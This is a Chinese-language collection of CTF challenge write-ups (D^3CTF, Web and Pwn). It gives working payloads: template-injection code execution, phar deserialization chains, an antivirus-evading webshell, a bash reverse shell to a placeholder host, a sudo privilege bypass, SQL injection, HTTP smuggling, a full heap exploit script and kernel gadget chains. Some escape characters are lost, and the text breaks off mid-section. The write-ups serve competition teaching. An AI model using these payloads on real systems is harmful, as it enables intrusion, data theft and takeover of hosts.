D^3CTF 官方Write Up

 

Web

easyweb

出题人:flight

考察点:二次注入,模版注入,phar反序列化

前言

这道题思路其实就是,如果在php中遇到了模版注入,但是限制了不允许执行php代码的时候,怎么通过模版注入达到RCE的效果

考点

预期:

  1. 二次注入
  2. 模版注入
  3. phar反序列化
  4. CI RCE POP链挖掘

非预期:

  1. 二次注入
  2. 模版注入
  3. SSTI沙箱逃逸
二次注入

可以看到,在get_view的时候,通过session中的userid从数据库中取出了用户的username,之后对username进行了两次过滤,但是因为顺序不对,导致sql注入的黑名单可以绕过:se{lect

然后模版的标签{可以通过sql的16进制绕过,这两步应该是很容易看出来的

模版注入

可以看到,index这里调用了get_view方法,然后将获取到的结果拼接到data协议中,之后将整个data协议的内容直接插入到了display函数中,很容易发现这里有一个模版注入的问题,我们只要通过union select就可以控制整个模版的内容。

这里有一点要注意的就是,我们需要将我们控制的字符串放到返回结果的第一行中,因为union select是在原先查询的下面添加一行结果,所以用limit 1,1即可返回我们控制的模版字符串

正文开始

因为当时将smarty嵌入到CI框架中,是根据网上其他师傅的博客来写的,但是因为参考文章的时间可能比较久,导致在整合的时候,其实是用的smartyBC,这是一个兼容低版本smarty的引擎,而不是最新的Smarty引擎

而这个SmartyBC就是一切非预期的开始

0x01 非预期解

在构造方法中,为了不让各位师傅直接通过SSTI执行php命令,在这里设置了Smarty引擎的安全规则,默认不允许任何php方法,不允许php脚本的解析,看起来是没有什么问题,但是因为没有仔细看官方文档,结果发现还是可以执行php代码

结果,php_handling不能限制{php}{/php}这样的标签,所以师傅们直接通过{{php}}phpinfo();{{/php}}即可直接getshell,23333

这里我犯了两个错误:

  1. 没有发现php_handling是不能限制{php}{/php}的
  2. 使用的是SmartyBC而不是Smarty,在Smarty中,这个标签已经被废弃了

所以直接:
data:,{{php}}phpinfo();{{/php}}

0x02 预期解
smarty对协议的处理

在CI中添加一个test路由,直接在display中调用data协议,使用xdebug跟一下display的逻辑

可以看到这里调用了createTemplate函数,根据函数名,这里就是创建我们的模版的地方,跟进去看一下,因我们传入的字符串是$template变量,所以重点关注对$template的处理,跟到_getTemplateId函数,进入

这里根据我们传入的字符串,拼接上模版目录生成了一个字符串作为tempateId

这里实例化了一个对象,对应的对象为:public $template_class = 'Smarty_Internal_Template';

在构造函数中设置了很多属性,重点关注$this->template_resource,$this->source,调用了Smarty_Template_Source的load方法

来到了重点:load方法

这个正则,其实匹配了我们对display的输入,将输入的字符串根据:分割,第一部分为协议名,第二部分为协议的内容

我们进入Smarty_Template_Source中

在smarty中,不同的协议有不同的handler来处理,这里通过Smarty_Resource::load来获取对应的handler

可以看到,在这里进行了很多次判断,是否是缓存,是否是注册以后的模版等等的判断,可以看到红框框出来的地方进行了对流的判断

在stream_get_wrappers的地方,获取了smarty支持的所有流的类型:

可以看到在smarty文档中也提到了,smarty支持流的方式去获取模版

这里只要我们的流在这个名单中,即可返回$handler(Smarty_Internal_Resource_Stream),也就是只要走到这一步,就会直接调用Smarty_Internal_Resource_Stream类的populate方法:

第一步将我们输入的协议统一转换为:data://这样子,再调用getContent函数

通过fopen获取到模版字符串

phar协议

smarty对协议的处理上面也分析过了,主要就是通过协议的不同,获取不同的类进行处理,不同协议的实现差异其实就是对应的handler不同

所以我们只要关注handler的获取就可以了,phar可以触发反序列化这个漏洞应该大家早就不陌生了,那么diaplay的参数可控,真的就可以触发反序列化吗?

payload: $this->ci_smarty->display('phar:///etc/passwd');

可以看到,获取的还是Smarty_Internal_Resource_Stream,和data协议一样,同样会走到getContent

但是这里有个问题,想要使用fopen触发phar反序列化,对应的php.ini的phar.readonly的值必须要为false,而默认是true,所以如果在默认环境下,phar是无法触发反序列化的。

奇怪的php协议

按照理论来说,php协议应该会被Smarty_Internal_Resource_Stream所处理,但是如果你跟了php协议的handler的话,你会发现好像并不是这样

$this->ci_smarty->display('php:phar:///xxx/xxx.phar');

这里我们刚开始没有关注,但是如果你跟了php协议的处理的话,你会发现居然在这里sysplugins里面有php对应的处理

所以在这里直接返回了smarty_internal_resource_php.php这个php文件中定义的类,也就是Smarty_Internal_Resource_Php这个类

可以看到不仅仅支持php,其他类没有详细看,有时间可以分析一下其他类是干什么的。

所以接下来会调用Smarty_Internal_Resource_Php这个类的populate方法,结果发现这个类并没有这个方法,所以去父类去找,用ctrl+h可以很方便的看出来一个类的继承关系

所以去Smarty_Internal_Resource_File这个类里面去找:

这里第一步调用了buildFilePath函数,进入这个函数,可以看到有很多is_file的判断,而is_file也是phar反序列化触发的入口之一,而且不需要phar.readonly的限制,所以考虑是不是可以通过这种方式触发反序列化

最后发现在170行,is_file函数参数完全可控,触发反序列化:

这个时候,我们就可以通过:data:,{{include file="php:phar:///tmp/xxxxx/xx.phar}}来触发phar反序列化

现在,我们可以触发反序列化了,接下来,我们需要找一个pop链,来达到RCE的效果

很沙雕的pop链

CI这个框架,pop链确实不是很好找(也是我tcl),这里有一个很重要的原因,CI框架的类不是自动加载的,而是按需加载的,要加载的类,需要在config文件里面添加,导致全局搜索起来__destruct方法貌似很多,但是实际上没法用,23333

找了半天,总算找了个文件包含,但是限制了文件名要满足一定格式,而且要知道mysql的用户名和密码,就很憨憨。。。。

这也就是为什么我没有限制文件的后缀名

先全局搜索destruct方法,发现在Cache_redis中有一个destruct方法,调用了任意一个对象的close方法

然后全局搜索close方法,在CI_Session_database_driver中调用了本类中的_release_lock方法

在这里又调用了db属性的query方法,所以我们可以通过这个地方调用任意的query方法

发现query这个方法是DB_driver实现的,在里面有一个load_rdriver函数

看到里面的$this->dbdriver可控,所以说我们可以通过目录穿越,来包含到任意目录下的xxx_result.php文件,从而达到RCE的目的

但是想要进入到load_rdriver函数,要保证前面的所有函数都正常执行,而在前面有一处sql语句执行,如果执行不成功的话就无法到load_rdriver的地方,所以我们需要正确的mysql配置来绕过

这样就可以利用这个文件包含达到RCE的效果。

写exp

因为很多属性都不是public的,而且我们要保证mysql的连接对象没有任何问题,所以我们可以通过向pop链中的类添加一些公共的set方法来覆盖其中的属性,和java bean一样

// Cache_redis
public function set($param){
        $this->_redis = $param;
    }

// Session_database_driver
public function set($param1){
        $this->_lock = TRUE;
        $this->_platform = "mysql";
        $this->_db = $param1;
    }

// mysqli_driver
public function set(){
        $this->dbdriver = "../../../../../../../tmp/a";
    }

// 控制器
public function payload(){
        $obj1 = $this->cache->redis;
        $obj2 = $this->session;
        $obj3 = $this->db;
        $obj2->set($obj3);
        $obj1->set($obj2);
        echo urlencode(serialize($obj1));
    }

这里因为query是在DB_driver中的,所以,db对象应该是CI_DB_mysqli_driver

生成phar文件:

public function payload(){
        $obj1 = $this->cache->redis;
        $obj2 = $this->session;
        $obj3 = $this->db;
        $obj2->set($obj3);
        $obj1->set($obj2);
        $phar = new Phar("phar.phar"); //后缀名必须为phar
        $phar->startBuffering();
        $phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub
        $phar->setMetadata($obj1); //将自定义的meta-data存入manifest
        $phar->addFromString("test.txt", "test"); //添加要压缩的文件
        //签名自动计算
        $phar->stopBuffering();
    }

上传phar文件到tmp下面,之后调用:{{include file="php:phar:///tmp/xxxx/xx.phar"}}即可

fake onelinephp

出题人:w1nd

考察点:windows远程文件包含 + 稍微免杀 + windows密码爆破

首先很抱歉题目开赛的时候就挂了,有的地方配置失误以及没想到请求量这么大,给师傅们谢罪了orz
题目做法设计的挺开放的,看师傅们做题过程也是十分有趣-w-

打开题目就是orange的one-line-php,这里的目的只是为了给一个文件包含的点,原题预期解的话是需要知道临时文件路径的,(不过真有师傅找到了orz

因为xx云会封smb,所以题目服务器开了webclient,启动一个webdav server,远程文件包含rce,payload:http://fakeonelinephp.d3ctf.io/?orange=\xx.xx.xx.xxwebdavshell.php
(看wp有的队伍用smb也成功了,emmm挠头.jpg

在远程文件包含的时候因为有windows defender会杀,所以要对shell稍微做一下免杀,免杀的方法很多,举个例子

@<?php
system(file_get_contents("php://input"));?>

吐槽:师傅们高强度传马导致windows defender成为了服务器上CPU占用率最高的进程

进去发现web目录下只有index.php,webdav目录和.git目录,webdav是空的,只是想提示一下开了webclient,所以就剩下.git了。此处考察git使用,大黑阔们日常使用的git hack只能恢复出naive,用git reflog + git reset 恢复出两篇浮生日记hint2.txt和dict.txt
从0ops师傅那里学到了一个工具,能够直接恢复出来 https://github.com/gakki429/Git_Extract

hin2.txt


dict.txt

hint2.txt给出了flag的位置,在内网的机器上,给了密码字典,爆破一下就能拿到明文了,这一步也没有说什么唯一解,所以把几种解法都贴一下:

  1. 丢hydra上去爆破
  2. 转发出来爆破

看到师傅们基本都是前两种方法,其实在出题的时候想过限制爆破,但是多个队用的是同一套环境,有人搅屎的话就很蛋疼了,所以作罢

  1. 拿hash用john爆破

这种方法毕竟动静比较小嘛

找个工具接收一下hash python2 Responder.py -I eth0 -f

然后丢给john爆破一下就出来了

有密码了rdp或者net use都可以啦

Others:

在看wp的时候发现

这是因为前面做出来的队没有删ipc链接

其实我看到很多队伍传上来的工具都故意没有删,比如hydra,打包好的html.zip

不过感觉这样不太好,会对选手做题产生一些影响,比如有的师傅被假的html.zip骗了,,

ezts

出题人:evi0s

考察点:SQLi 原型链污染

信息收集

打开这个题目,有登陆,注册的功能。注册完成后登陆进用户界面,发现有增加档案,搜索档案的功能

同时,如果使用了 fuzz 工具,可以发现存在 /admin/ 路由,也就意味着这题可能的思路就是访问到管理界面。注意到 Cookie 有 koa 的键名,基本可以判断后端是 Node.JsKoa 框架

根据题目描述,基本可以判定这题使用了 ORM 框架,谷歌随便一搜 Koa 的或者 Node.Js 的 ORM 框架,就可以找到 Sequelize 这个库。也就是说,我们可以大致猜测出后端使用了哪些框架了

在搜索界面,注意到 ' 可以触发 500 响应,基本可以判定这里存在一个 SQL 注入漏洞

SQL 注入

根据我们信息收集的结果,可以对搜索功能进行进一步的 fuzz,但是尝试了多种 SQL 注入 payload 都无果。这里想到猜测的后段 ORM 框架 Sequelize。那么我们去 Snyk.io 去找一下这个框架有没有洞

显然,这个框架有一个较近的 CVE: CVE-2019-10752,而 Snyk.io 直接给出了相应的 PoC。那么后面问题就很简单了,随便把 PoC 改成时间盲注,发现存在延时,就可以直接用布尔盲注注出数据了

这里也不放出脚本了,没有任何过滤的裸的注入,注出第一个用户,也就是 admin,拿到密码就可以直接登陆后台管理了

原型链污染

登陆进入管理后台后,发现有管理用户数据和查询用户数据的功能。而管理用户数据可以直接对用户数据修改。这里注意到查询出的用户数据是 JSON 格式的,也就是说数据库中用户数据大概也是直接存放的。

然后修改用户数据,可以发现提交数据格式必须也是 JSON 格式,而提交的 JSON 会被合并进原来的数据,或者说,会创建新的数据。这里的 JSON 合并也就是 js 的对象合并操作,很容易想到原型链污染这个漏洞

为了测试,我们可以先发一个小的 PoC

{"content": {"constructor": {"prototype": {"a": "b"}}}}

提交之后,再查看用户数据,可以发现键 content 中的数据消失了,这里可以初步认为存在原型链污染漏洞

(事实上,如果后端是 express,原型链污染的数据会在 HTTP 响应头中显示出来)

还有更多的 PoC,比如

{"content": {"constructor": {"prototype": {"username": "asd"}}}}

可以发现刷新后立刻 500,等待服务重启之后 asd 用户也离奇消失了

这是原型链污染在其他依赖库中产生的一些副作用,而实际上,针对这题原型链污染,我对 Sequelize 库进行了修改,防止污染之后 ORM 框架出错(因为污染的数据会以键的形式插入到查询语句中)

到这,我们已经基本确定存在原型链污染漏洞了

在源码中,其实也有一个非常明显的原型链污染的提示

// const data = ctx.body.data;
if (!user.data) {
    user.data = {};
}

lodash.defaultsDeep(user.data, data);

ejs getshell

有了原型链污染了,我们可以做些啥呢。这里其实是参考了 X-NUCA 比赛过程中 hard_js 一题的非预期解。ejs 模版引擎存在代码注入的问题,在遇到原型链污染时,我们可以将 js 代码注入到渲染模版中,最后引发命令执行,拿到 shell

具体的过程这里也不在赘述,payload 如下

{"content": {"constructor": {"prototype": {"outputFunctionName": "a; return global.process.mainModule.constructor._load('child_process').execSync('bash -c "/bin/bash -i > /dev/tcp/ip/port 0<&1 2>&1"'); //"}}}}

提权

拿到 shell 后,有师傅发现用户为 node,而根目录下 flag 的文件权限为 0400。通常情况下,一般会预留一个 readflag 的文件来读取 flag,但是本题并没有。

这里使用了一个非常新的 sudo 的 CVE: CVE-2019-14287

那么后续就很简单了

sudo -l # 查看当前用户 sudo 配置
sudo -u#-1 /bin/cat /flag

Showhub

出题人:Li4n0@Vidar

考察点:insert 注入 + HTTP走私

insert on duplicate key update 注入

题目给出了框架部分的源码,只有基本的 MVC 的实现和用户注册登录的逻辑代码。简单审计一下应该就可以发现在Model::prepareUpdateModel::prepareInsert这两个方法中存在格式化字符串SQL注入

    static private function prepareInsert($baseSql, $args)
    {
        $i = 0;
        if (!empty($args)) {
            foreach ($args as $column => $value) {
                $value = addslashes($value);
                if ($value !== null) {
                    if ($i !== count($args) - 1) {
                        $baseSql = sprintf($baseSql, "`$column`,%s", "'$value',%s");
                    } else {
                        $baseSql = sprintf($baseSql, "`$column`", "'$value'");
                    }
                }
                $i++;
            }
        }

        return $baseSql;
    }

    static private function prepareUpdate($baseSql, $args)
    {
        $i = 0;
        if (!empty($args)) {
            foreach ($args as $column => $value) {
                $value = addslashes($value);
                if ($value !== null) {
                    if ($i !== count($args) - 1) {
                        $baseSql = sprintf($baseSql, "`$column`='$value',%s");
                    } else {
                        $baseSql = sprintf($baseSql, "`$column`='$value'");
                    }
                }
                $i++;
            }
        }

        return $baseSql;
    }

而只有prepareInsert方法在用户注册时被触发了,那么我们就拥有了一个insert注入。这时候大多数人第一时间的想法都是通过insert时间盲注注出管理员密码。然而管理员的密码强度足够,并不能根据其hash值推出明文。

这时候就涉及到了一个比较冷门的insert注入技巧,就是 insert on duplicate key update ,它能够让我们在新插入的一个数据和原有数据发生重复时,修改原有数据。那么我们通过这个技巧修改管理员的密码即可。

payload:admin%1$',0x60) on duplicate key update password=0x38643936396565663665636164336332396133613632393238306536383663663063336635643561383661666633636131323032306339323361646336633932#

HTTP走私

成为管理员之后,还需要满足Client-IP 为内网 IP。因为这里的Client-IP头是反代层面设置的(set $Client-IP $remote_addr), 所以无法通过前端修改请求头来伪造。

这时可以从服务器返回的Server头中发现,反代是ATS7.1.2 那么应该很敏感的想到通过HTTP走私 来绕过反代,规避反代设置Client-IP。这里需要构造两次走私,一次是访问/WebConsole拿到执行命令的接口,一次是访问接口执行命令,构造走私payload的过程很有意思,但是嘴上说起来就索然无味了,所以我这里就直接放出我最终的payload,不再多说这部分都有哪些坑了,真正有兴趣的同学强烈建议自己动手实践一下,有一些有意思的问题等你发现,这个过程也会帮你真正理解HTTP走私

payload:

GET /WebConsole/ HTTP/1.1
Host: 024ac2afef.showhub.d3ctf.io
Pragma: no-cache
Cache-Control: no-cache
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36
DNT: 1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3
Accept-Encoding: gzip, deflate
Accept-Language: zh,en;q=0.9,zh-CN;q=0.8
Cookie: PHPSESSID=cgdbdc2211g074rnbklem2fv5k
Content-Length: 228
Transfer-Encoding: chunked

0


POST /WebConsole/exec HTTP/1.1
Host: 024ac2afef.showhub.d3ctf.io
Client-IP: 127.0.0.1
Content-Type: application/x-www-form-urlencoded
Cookie: PHPSESSID=cgdbdc2211g074rnbklem2fv5k
Content-Length: 30

cmd=cat /flag;

最后说一下,部分同学可能会发现,走私的请求中,不加Client-IP: 127.0.0.1,这一行也可以成功执行命令。这其实是因为我在后端判断 IP 是否是内网IP时,使用了网上流传的这样一段代码:

filter_var(
                $_SERVER['HTTP_CLIENT_IP'],
                FILTER_VALIDATE_IP,
                FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE
            );//验证ip是否是内网ip,如果是的话返回false,否则返回ip;

然而这段代码其实是有问题的,当 $_SERVER['HTTP_CLIENT_IP'] 不满足 IPV4的格式时,他也会返回FALSE

如果把这段代码的问题修复。那么情况又会发生一些变化,一些现在有效的payload可能会失效。(当然,如果你不自己亲手去试试的话,可能连其他payload都发现不了)。欢迎并期待各位师傅随时找我探讨。

最最后,感谢@spine@Alias@Annevi@E99p1ant在出题过程中对我的帮助。

d3guestbook

出题人:f1sh

考察点:formaction 劫持 + jsonp xss

题目是一个在线留言板,注册登录后可以提交留言。

简单测试后会发现留言可以插入 HTML 标签,但是后端使用了标签名/属性名白名单做过滤,一般的危险标签和属性都被 ban 掉了。

控制台可以看到打包前的前端源码,审计一波。

第一个问题,CSRF token 是直接使用的 sessionid :

因此如果我们能获得他人的 token 就可以登录他人账号。

第二个问题,我们传入的参数 this.$route.query.did 被拼接到了 jsonp 方法的 url 当中

因此我们可以设置 did 为 1/delete?callback=alert# ,控制 jsonp 的 callback ,在 jsonp 方法中会直接执行:

但是后端的 jsonp api 给 callback 做了校验,只能传入有限的字符,并不能任意执行 js 代码。

所以我们需要把这两个问题结合利用一下,利用这个受限的 jsonp xss 来劫持 token 。

我们可以看到 token 被渲染到了 id 为 messageForm 的 form 中,所以我们可以尝试劫持这个 form ,让他的 submit 后提交到我们的服务器,从而获取 token 。

如何劫持呢?利用两个 HTML5 的有趣属性:

https://www.w3school.com.cn/tags/att_input_formaction.asp
https://www.w3school.com.cn/tags/att_input_form.asp

我们可以利用留言功能插入一个在表单之外的 input 标签,再利用这两个属性来劫持表单:

利用 jsonp xss 来点击它:

http://localhost:8180/#/?pid=72&did=23%2Fdelete%3Fcallback%3Dfish.click%23

token 就到手了:

report 这条 payload ,获得 admin 的 token 之后登录 admin 账号,在 admin 的留言中获得 flag 。

babyxss

出题人:pupiles@L

考察点:pNaCl

选手可以通过对/fd.php的参数q的控制完全控制其内容且标签未转义
但是由于CSP的原因无法执行js且不能用iframe

img-src 'none'; script-src 'none'; frame-src 'none'; connect-src 'none'

丢到csp-evaluator里头可以发现没有设置object-src
object-src允许嵌入object
根据hint去chrome://components里头找有什么可以利用的组件
最新版chrome已经默认禁止了flash的使用(然而就是有很多人不信邪)
通过一些搜索可以发现pNaCl可以跑C/C++

可以编写一个Leak去请求admin.php,获取flag,然后再将flag带出来
下载下来谷歌的SDK和Leak后可以编译出一个nmf文件和一个pexe文件,放到自己的服务器上然后尝试:

<embed src="http://server_url/url_loader.nmf" type="application/x-pnacl">

轻松获得了一个Mixed Content呢((毒瘤出题人
上https以后发现:

PNaCl modules can only be used on the open web (non-app/extension) when the PNaCl Origin Trial is enabled

搜索Origin Trial,看新闻:

https://developer.chrome.com/native-client/migration
https://github.com/GoogleChrome/OriginTrials/blob/gh-pages/developer-guide.md

Origin Trial申请一个token,最终的payload:

<meta http-equiv="origin-trial" content="[token]">
<embed src="https://server_url/url_loader.nmf" type="application/x-pnacl">

说是xss你还真信啊.jpg
其实网上有现成的Leak
总结起来就是object-src missing, html controllable的情况。虽然网上其实已经有了exp,但是貌似还是有很多人没有碰到过。

ezupload

出题人:lou00@Vidar

考察点:glob://爆破 文件上传写shell

环境

https://github.com/Lou00/d3ctf_2019_ezupload

前言

赛后看到了Nu1l的非预期,直接把第一考点绕过了
导致给的一些hint没啥用 (hint真是害人不浅(:з」∠)

预期解

通过审计代码可以发现存在反序列化漏洞,可以任意文件写入
但是如果是用相对路径的话,发现无法写入
通过hint3知道

在析构函数中工作目录可能会变
以下代码可以测试

意思是要找到绝对路径
所以第一部分的payload是

action=count&url=1&filename=1&dir=glob:///var/www/html/*/upload/{your_upload_path}/*

通过爆破得到路径(然而非了
得到路径后就可以通过文件名写shell了
构造类似与下面的文件名

action=upload&url=http://xxx&filename=<?php echo 1.1;eval($_GET["a"]);

构造反序列化

<?php
class dir{
    public $userdir;
    public $url;
    public $filename;
    public function __construct($usedir,$url,$filename){
    $this->userdir = $usedir;
    $this->url = $url;
    $this->filename = $filename;
    }
}
$a = new dir('upload/{your_upload_path}','','');
$b = new dir($a,'','/var/www/html/xxx/upload/{your_upload_path}/2');
$phar = new Phar("phar.phar"); 
$phar->startBuffering();
$phar->setStub("__HALT_COMPILER();?>;"); 
$phar->setMetadata($b); 
$phar->addFromString("test.txt", "test"); 
$phar->stopBuffering();
echo urlencode(serialize($b));

上传后通过file_get_contents触发

action=upload&url=phar://upload/{your_upload_path}/1.jpg&filename=2.jpg

然后就会发现一个带有<?的txt文件
最后上传一个.htaccess文件
内容为

AddHandler php7-script .txt

即可解析php
最后是bypass open_basedir

 

Pwn

lonely observer

出题人:Cosmossss@Vidar

考察点:利用输入阻塞造成时间盲注绕过拟态防御机制

抛开拟态的话,题目本身是个功能一应俱全还有UAF的终极弱鸡堆题。而关于拟态heap,之前也有过静态编译的题目,利用32位和64位bin数组的大小划分不同,也可以分别攻击两个后端然后同时getshell。

而这题如果按照常规堆题的思路,想要全程不需要leak出libcbase就能getshell的方法,单64位后端也需要1/4096的概率exp,更别说双后端的情况。因此若要按照传统拟态思路让双后端同时getshell的话,leak出libcbase是必须的。

在输入和输出必须相同的情况下leak,在本题中是采用了一种类似时间盲注的方法,简单描述一下过程:

add一个新的note时,会malloc一个0x10大小的chunk,然后将note的size与地址ptr存入其中,并且bss上只存储了这个记录用chunk的地址数组list。

edit时,将list指向的结构体中存放的size与ptr传参给read_n函数,在其中循环单字符读取直到读取数量等于size或者遇到换行符。

以上看起来都很常规,但是时间盲注的基本条件已经达成了。劫持list,将其错位指向一个libc地址,举个例子:

ff ff ff ff ff 7f 00 00   00 00 00 00 00 aa aa aa   aa

让list中的地址指向0x7f的位置,这样这个fake struct的内容就是size=0x7f,ptr=0xaaaaaaaa(将其设为一个可写的地址即可)

同时用一样的方法,让另一个后端的同index指向的fake struct的size=0x1,ptr可写

然后通过不断的send单个字符,只有当第一个后端也完成edit后才会出现回显,而出现回显时send的字符总数即为0x7f,从而可以逐字节爆破libcbase

这也涉及到本题裁决机的具体实现机制,对两个后端的输出并没有时间上的限制,只要输出的内容一直保持一致就能通过

所以这还涉及到一个问题,另一个后端在提前edit完成后,如果输入缓冲区不够大,比如pwn题中常见的自定义函数read_int(缓冲区一般都设置在0x10-0x20以内),在接着send的过程中每当缓冲区满了,就会输出一次”invalid choice”或者menu,从而导致双后端输出不一致。但本题读取menu选项使用的是scanf,缓冲区够大的同时也不需要手动设置一个0xff大的缓冲区引起怀疑=-=

至此,时间盲注的所有条件已经达成,剩下的只是构造问题了,方法很多,可以参照示例exp。在得到libcbase后,同时getshell也不再是难题,示例exp中是分别修改两个后端的free_hook为system后dele同一个存放着/bin/sh的note。


以上就是预期解法了。有些遗憾的是在比赛中这是仅有的一道没出现预期解的pwn,唯一的一解非预期来自北极星的Ex师傅,直接爆破32位后端的libcbase,通过反弹shell绕过裁决机的限制从而cat flag,并且预期概率高达1/512而不是理论上的1/4096,原因可以参照这篇文章

fragility in 32-bit linux program

Null和0ops的师傅们也想到了32位aslr的薄弱性而直接命令执行的思路,不过不知道哪里出了些问题……他们一共爆破了四十多万次都没成功2333

时间盲注只是破解拟态leak限制的一种理论方法,实际上本题解法可能不具有多少普适性,但是为了让时间盲注可行的同时在题目中不露出刻意为之的痕迹,还是花费了一番心思的233,这其中主要感谢Aris的大量帮助。个人认为这题最有意思的部分在于,它看起来就像是一道普通的heap pwn=。=

本题名称“孤独的观测者”neta的是石头门,因为我觉得破解拟态的过程中有凶真“不改变既定事实的情况下改变结果”的既视感=。=,希望本题能给师傅们带来一些乐趣,Hacking to the Gate!

from pwn import *
import time 
# context.log_level = 'debug'
context.terminal = ['gnome-terminal','-x','bash','-c']

local = 1
t64 = 0
# binary_name = 'mimic64'

if local:
    if t64 == 1:
        cn = process('./mimic64')
    elif t64 == 2:
        cn = process('./mimic32')
    else:
        cn = process('./lonely_observer')
else:
    cn = remote('',)
    #libc = ELF('')

ru = lambda x : cn.recvuntil(x)
sn = lambda x : cn.send(x)
rl = lambda   : cn.recvline()
sl = lambda x : cn.sendline(x)
rv = lambda x : cn.recv(x)
sa = lambda a,b : cn.sendafter(a,b)
sla = lambda a,b : cn.sendlineafter(a,b)


# bin = ELF('./'+binary_name,checksec=False)
# 比赛中远程环境的libc32和常见的2.23有一些差别,调试时需要注意

libc64 = ELF('/lib/x86_64-linux-gnu/libc.so.6',checksec=False)
libc32 = ELF('/lib/i386-linux-gnu/libc-2.23.so',checksec=False)

def z(a=''):
    gdb.attach(cn,a)
    if a == '':
        raw_input()


def add(idx,sz,con='a'):
    sla('>>','1')
    sla('index?',str(idx))
    sla('size?',str(sz))
    sa('content:',con)

def dele(idx):
    sla('>>','2')
    sla('index?',str(idx))

def show(idx):
    sla('>>','3')
    sla('index?',str(idx))

def edit(idx,con):
    sla('>>','4')
    sla('index?',str(idx))
    sa('content:',con)


time_start = time.time()


list64 = 0x602060
bss64 = 0x602060+0x10*0x30
list32 = 0x804b060
bss32 = 0x804b060+8*0x30

add(0,1)
add(1,1)
add(2,1)
dele(0)
dele(1)
edit(1,'x00')
add(3,0x10,p64(0x1000)+p64(list64+8*4))
dele(2)
edit(2,'x00')
add(4,8,p32(0x1000)+p32(list32+4*8))
dele(2)
edit(2,'x00')


lbase64 = 0
for idx in range(5,0,-1):
    buf = p32(list32+4*10) + p32(list32+4*12)
    buf+= p32(1) + p32(bss32)#8
    buf+= p32(0x100) + p32(bss32+0x100)#9
    buf = buf.ljust(4*8,'x00')

    buf+= p64(0x602040+idx) + p64(list64+8*12)
    buf+= p64(0) + p64(0)#8
    buf+= p64(0x100) + p64(0x602041+idx)#9
    buf+= 'n'
    sl('4')
    sla('index?','0')
    sa('content:',buf)
    edit(9,'x00'*7 + p64(bss64) + 'n')

    sla('>>','4')
    sla('index?','8')
    for sz in range(1,256):
        print('sz:'+str(sz))
        sn('5')
        if 'done!' in cn.recvrepeat(0.1):
            lbase64 += sz << (idx*8)
            success(hex(sz))
            sl('5'*(0x100-sz))
            break
        elif sz == 0xff:
            print('failed')
            exit(0)
lbase64 -= libc64.sym['_IO_2_1_stderr_']&~0xff

lbase32 = 0
for idx in range(3,0,-1):
    buf = p32(0x804b020+idx) + p32(list32+4*12)
    buf+= p32(0) + p32(0)#8
    buf+= p32(0x100) + p32(0x804b021+idx)#9
    buf = buf.ljust(4*8,'x00')

    buf+= p64(list64+8*10) + p64(list64+8*12)
    buf+= p64(1) + p64(bss64)#8
    buf+= p64(0x100) + p64(bss64+0x100)#9
    buf+= 'n'
    sl('4')
    sla('index?','0')
    sa('content:',buf)
    edit(9,'x00'*3 + p32(bss32) + 'n')

    sla('>>','4')
    sla('index?','8')
    for sz in range(1,256):
        print('sz:'+str(sz))
        sn('5')
        if 'done!' in cn.recvrepeat(0.1):
            lbase32 += sz << (idx*8)
            success(hex(sz))
            sl('5'*(0x100-sz))
            break
        elif sz == 0xff:
            print('failed')
            exit(0)
lbase32 -= libc32.sym['_IO_2_1_stderr_']&~0xff
success('lbase64:'+hex(lbase64))
success('lbase32:'+hex(lbase32))

buf = p32(list32+4*10) + p32(list32+4*12)
buf+= p32(4) + p32(lbase32+libc32.sym['__free_hook'])#8
buf+= p32(8) + p32(bss32)#9
buf = buf.ljust(4*8,'x00')

buf+= p64(list64+8*10) + p64(list64+8*12)
buf+= p64(4) + p64(bss64)#8
buf+= p64(8) + p64(lbase64+libc64.sym['__free_hook'])#9
buf+= 'n'
edit(0,buf)
edit(8,p32(lbase32+libc32.sym['system']))
edit(9,p64(lbase64+libc64.sym['system']))
add(0x20,0x20,'/bin/shn')
dele(0x20)

time_end = time.time()

print('[*]totally cost:'+str(time_end-time_start))

cn.interactive()

knote (v1, v2)

出题人:Aris@Vidar

考察点:double fetch+userfaultFD

v1的话其实问题就是直接把测试环境打包忘记改文件的owner了,导致选手可以直接删改任意文件,半夜发现有人一血了看了眼log我都傻了(太菜了),原理是init脚本里最后以root运行umount卸载proc文件系统,可以劫持umount命令为sh,例如如下exp

rm /bin/umount
echo "#!/bin/sh" > /bin/umount
echo "/bin/sh" >> /bin/umount
exit

v2:
洞:edit和get功能没上锁,存在竞争,但直接竞争还是有很大困难的,所以利用userdefaultfd稳定double fetch

先add一个note,然后设置一个userdefaultfd给ptr之后进行get(同时进行edit用来待会修改内核数据),线程就会卡在user_copy,此时在fault_handle里dele掉note,然后申请tty_struct就有机会申请到这个note里,然后处理缺页异常将数据带回用户态,这里由于copy的顺序问题无法控制头0x20字节,所以leak就得用0x250偏移处的其他指针了,不过问题不大

leak出code地址和heap地址

然后leak成功的同时有了一次写的机会,赶紧把刚刚获得的数据作为缺页拷贝的数据,但是篡改其中的ops就可以控制程序流

开始绕过+smep,+smap
我这里是进行了physmap喷射,然后劫持ioctl进行栈迁移

这里可控的寄存器只有rdx(和它的几个拷贝),rsi只可控低32位作用不大,注意到rbp指向tty_struct,然后ioctl只需要check tty->drive和magic等几个属性而已,其他的都可以改,所以可以改+0x48 +0x58的数据进行jop

一开始先跳这里
0xffffffff8135b69a: push rdx; fdiv st(7), st(0); call qword ptr [rbp + 0x48];
然后rbp+0x58设置成下面这条
0xffffffff81836504: jmp qword ptr [rbp + 0x58];
就会死循环原地跳
然后乘机用另一个线程
把+0x58的改成
0xffffffff81092e0b: pop rsi; jmp qword ptr [rbp + 0x48];
把+0x48的改成
0xffffffff810027ce: pop rsp; ret;

整个流程像下面这样

ioctl->0xffffffff8135b69a push rdx; fdiv st(7), st(0); call qword ptr [rbp + 0x48];

thread1:
rbp+0x58 0xffffffff81836504 jmp qword ptr [rbp + 0x58]; <loop>
rbp+0x48 0xffffffff81836504 jmp qword ptr [rbp + 0x58]; <loop>

thread2:overwrite rbp+0x58 & rbp+0x48
rbp+0x58 0xffffffff81092e0b pop rsi; jmp qword ptr [rbp + 0x48]; 
